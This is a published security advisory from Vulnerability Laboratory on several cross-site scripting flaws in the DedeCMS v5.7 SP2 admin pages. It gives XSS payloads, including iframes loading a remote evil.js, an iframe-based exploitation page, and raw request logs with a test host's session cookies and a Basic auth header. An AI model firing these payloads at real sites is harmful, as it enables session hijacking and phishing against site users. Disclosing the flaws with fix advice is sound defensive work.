DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities

Document Title:
===============
DedeCMS v7.5 SP2 - Multiple Persistent Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2195


Release Date:
=============
2020-04-08


Vulnerability Laboratory ID (VL-ID):
====================================
2195


Common Vulnerability Scoring System:
====================================
4.3


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Welcome to use the most professional PHP website content management system in China-Zhimeng content management system, 
he will be your first choice for easy website building. Adopt XML name space style core templates: all templates are 
saved in file form, which provides great convenience for users to design templates and website upgrade transfers. 
The robust template tags provide strong support for webmasters to DIY their own websites. High-efficiency tag caching 
mechanism: Allows the caching of similar tags. When generating HTML, it helps to improve the reaction speed of the 
system and reduce the resources consumed by the system.

(Copy of the homepage: http://www.dedecms.com/products/dedecms/downloads/)


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent cross site vulnerabilities in 
the official DedeCMS v5.7 SP2 (UTF8) web-application.


Affected Product(s):
====================
DesDev Inc.
Product: DedeCMS - Content Management System  v5.7 SP2


Vulnerability Disclosure Timeline:
==================================
2020-04-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
Multiple persistent cross site scripting vulnerabilities has been discovered in the official DedeCMS v5.7 SP2 UTF8  web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to 
web-application requests from the application-side.

The persistent script code inject web vulnerabilities are located in the `activepath`, `keyword`, `tag`, `fmdo=x&filename`, `CKEditor` 
and `CKEditorFuncNum`parameters of the  `file_pic_view.php`, `file_manage_view.php`, `tags_main.php`, `select_media.php`, `media_main.php` files.  
The attack vector of the vulnerability is non-persistent and the request method to inject is POST. Successful exploitation of the vulnerability 
results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation 
of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable File(s):
[+] file_pic_view.php
[+] file_manage_view.php
[+] tags_main.php
[+] select_media.php
[+] media_main.php

Vulnerable Parameter(s):
[+] tag
[+] keyword
[+] activepath
[+] fmdo=move&filename & fmdo=edit&filename
[+] CKEditor & CKEditor=body&CKEditorFuncNum


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Request: Examples
https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%2Fuploads
https://test23.localhost:8080/dede/tags_main.php?tag=&orderby=total&orderway=desc
https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=2&langCode=en


PoC: Payload
".>"<img>"%20<img src=[Evil.Domain]/[Evil.Source].* onload=alert(document.domain)>
>"%20<"<img="" src="https:/www.vulnerability-lab.com/gfx/logo-header.png onload=alert(document.domain)">
>"><iframe src=evil.source onload=alert(document.domain)>
%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E
%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E
%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E


PoC: Exploitation
<title>DedeCMS v5.7 SP2 UTF8 - Multiple Non Persistent XSS PoCs</title>
<iframe src="https://test23.localhost:8080/dede/file_pic_view.php?activepath=%2Fuploads%3E%22%3Cimg%20src=%22[Evil.Source]%22%3E%3Cimg%20src=%22[Evil.Source]%22%3E">
<iframe src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E&activepath=%2Fuploads">
<iframe src="https://test23.localhost:8080/dede/file_manage_view.php?fmdo=move&filename=test&activepath=%3E%22%3E%3Ciframe%20src=%22x%22%20onload=alert(document.domain)%3E%3Cimg%3E">
<iframe src="https://test23.localhost:8080/dede/tags_main.php?tag=pwnd&orderway=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E">
<iframe src="https://test23.localhost:8080/dede/tags_main.php?tag=%22%3E%3Ciframe%20src=%22https://vuln-lab.com/evil.js%22%3E&orderby=1&orderway=">
<iframe src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=>"><iframe src=evil.source onload=alert(document.domain)>body&CKEditorFuncNum=2&langCode=en">
<iframe src="https://test23.localhost:8080/include/dialog/select_media.php?CKEditor=body&CKEditorFuncNum=>"><iframe src=evil.source onload=alert(document.domain)>2&langCode=en">
...

--- PoC Session Logs [POST] --- (Some Examples ...)
https://test23.localhost:8080/dede/media_main.php
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
Origin: https://test23.localhost:8080
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://test23.localhost:8080/dede/media_main.php
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; 
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php
keyword=>"%20<<img src=https://[Evil.Domain]/[Evil.Source].png>&mediatype=0&membertype=0&imageField.x=23&imageField.y=4
-
POST: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
content-length: 1830
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
cache-control: private
set-cookie: ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php; expires=Mon, 06-Apr-2020 17:53:23 GMT; Max-Age=3600; path=/
vary: Accept-Encoding
content-encoding: gzip
x-powered-by: PHP/5.6.40, PleskLin
X-Firefox-Spdy: h2
---
https://test23.localhost:8080/dede/file_pic_view.php
?activepath=%2Fuploads%2F>" <"<img+src%3Dhttps%3A%2F%2Fwww.vulnerability-lab.com%2Fgfx%2Flogo-header.png>&imageField.x=0&imageField.y=0
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Referer: https://test23.localhost:8080/dede/file_pic_view.php?activepath=&imageField.x=0&imageField.y=0
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; 
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager
Upgrade-Insecure-Requests: 1
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.6.40
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
cache-control: private
X-Firefox-Spdy: h2
---
https://test23.localhost:8080/include/dialog/select_media.php?
CKEditor=>"><iframe src=evil.source onload=alert("1")>body&CKEditorFuncNum=>"><iframe src=evil.source onload=alert("2")>2&langCode=en
Host: test23.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Cookie: PHPSESSID=2et4s8ep51lasddnshjcco5ji3; DedeUserID=1; DedeUserID__ckMd5=936f42b01c3c7958; 
DedeLoginTime=1586191031; DedeLoginTime__ckMd5=37af65fa4635a14f; ENV_GOBACK_URL=%2Fdede%2Ffeedback_main.php
Upgrade-Insecure-Requests: 1
-
GET: HTTP/2.0 200 OK
server: nginx
content-type: text/html; charset=utf-8
content-length: 1137
expires: Thu, 19 Nov 1981 08:52:00 GMT
cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache
vary: Accept-Encoding
content-encoding: gzip
x-powered-by: PHP/5.6.40, PleskLin
X-Firefox-Spdy: h2


Reference(s):
https://test23.localhost:8080/dede/media_main.php
https://test23.localhost:8080/dede/tags_main.php
https://test23.localhost:8080/dede/file_pic_view.php
https://test23.localhost:8080/dede/file_manage_view.php
https://test23.localhost:8080/include/dialog/select_media.php


Solution - Fix & Patch:
=======================
1. Parse the content to disallow html / js and special chars on the affected input fields
2. Restrict the vulnerable paramter prevent injects via post method request
3. Secure the output location were the content is insecure sanitized delivered as output


Security Risk:
==============
The security risk of the application-side persistent cross site scripting web vulnerabilities in the different modules are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com 			infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab 			youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php 	vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

				    Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™